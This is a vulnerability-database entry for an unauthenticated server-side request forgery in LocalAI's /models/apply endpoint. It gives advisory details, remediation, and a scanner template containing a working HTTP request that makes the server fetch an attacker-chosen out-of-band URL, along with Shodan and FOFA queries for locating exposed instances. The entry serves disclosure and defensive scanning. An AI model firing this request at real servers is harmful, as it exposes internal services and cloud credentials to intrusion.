LocalAI < 4.6.0 - Server-Side Request Forgery
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2026-59707 | 7 Jul 202620:37 | – | attackerkb | |
| CVE-2026-59707 | 7 Jul 202621:52 | – | circl | |
| CVE-2026-59707 | 7 Jul 202620:37 | – | cve | |
| CVE-2026-59707 LocalAI - Server-Side Request Forgery via POST /models/apply | 7 Jul 202620:37 | – | cvelist | |
| EUVD-2026-42097 | 7 Jul 202620:37 | – | euvd | |
| LocalAI POST /models/apply permits unauthenticated server-side request forgery through gallery URLs | 7 Jul 202621:31 | – | github | |
| CVE-2026-59707 | 7 Jul 202620:37 | – | mend | |
| CVE-2026-59707 | 7 Jul 202621:17 | – | nvd | |
| GHSA-8C5Q-HX4G-QQ23 LocalAI POST /models/apply permits unauthenticated server-side request forgery through gallery URLs | 7 Jul 202621:31 | – | osv_ghsa | |
| GO-2026-6645 LocalAI POST /models/apply permits unauthenticated server-side request forgery through gallery URLs in github.com/mudler/LocalAI | 7 Oct 202614:10 | – | osv_go |
10
id: CVE-2026-59707
info:
name: LocalAI < 4.6.0 - Server-Side Request Forgery
author: ashish-cybersec
severity: critical
description: |
LocalAI before 4.6.0 is affected by an unauthenticated server-side request forgery vulnerability in the POST /models/apply endpoint. The gallery `url` field is passed to the gallery config fetcher without validation, allowing an unauthenticated attacker to make the server issue HTTP requests to arbitrary internal, loopback, link-local, and cloud-metadata addresses. The outcome of the server-side fetch is reflected in the model-apply job status.
impact: |
An unauthenticated attacker can reach internal-only services and cloud metadata endpoints through the server, with partial responses leaked via job error messages.
remediation: |
Upgrade to LocalAI 4.6.0 or later, which validates gallery config URLs and rejects requests to internal network addresses.
reference:
- https://github.com/mudler/LocalAI/issues/10665
- https://github.com/mudler/LocalAI/commit/2cbb3c96b34d
- https://nvd.nist.gov/vuln/detail/CVE-2026-59707
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 9.3
cve-id: CVE-2026-59707
epss-score: 0.00458
epss-percentile: 0.39438
cwe-id: CWE-918
metadata:
verified: true
max-request: 2
vendor: mudler
product: localai
shodan-query: http.favicon.hash:-976853304
fofa-query: icon_hash="-976853304"
tags: cve,cve2026,localai,ssrf,mudler
http:
- raw:
- |
POST /models/apply HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"url":"http://{{interactsh-url}}/{{rand_text_alpha(6)}}.yaml"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"uuid":"'
- 'status":'
condition: and
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200
extractors:
- type: regex
name: jobid
part: body
group: 1
regex:
- '"uuid":"([a-f0-9-]+)"'
internal: true
# digest: 4b0a00483046022100f348a37a156aa1278d8bb7e2f4c7502120f00f8b0745123a6b75d4d329055966022100a156552952bb7387c36ccf8462090aa1fb7a1f998e19faaf912c568fed980500:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Oct 2026 08:50Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.18.6
CVSS 49.2
EPSS0.01383
SSVC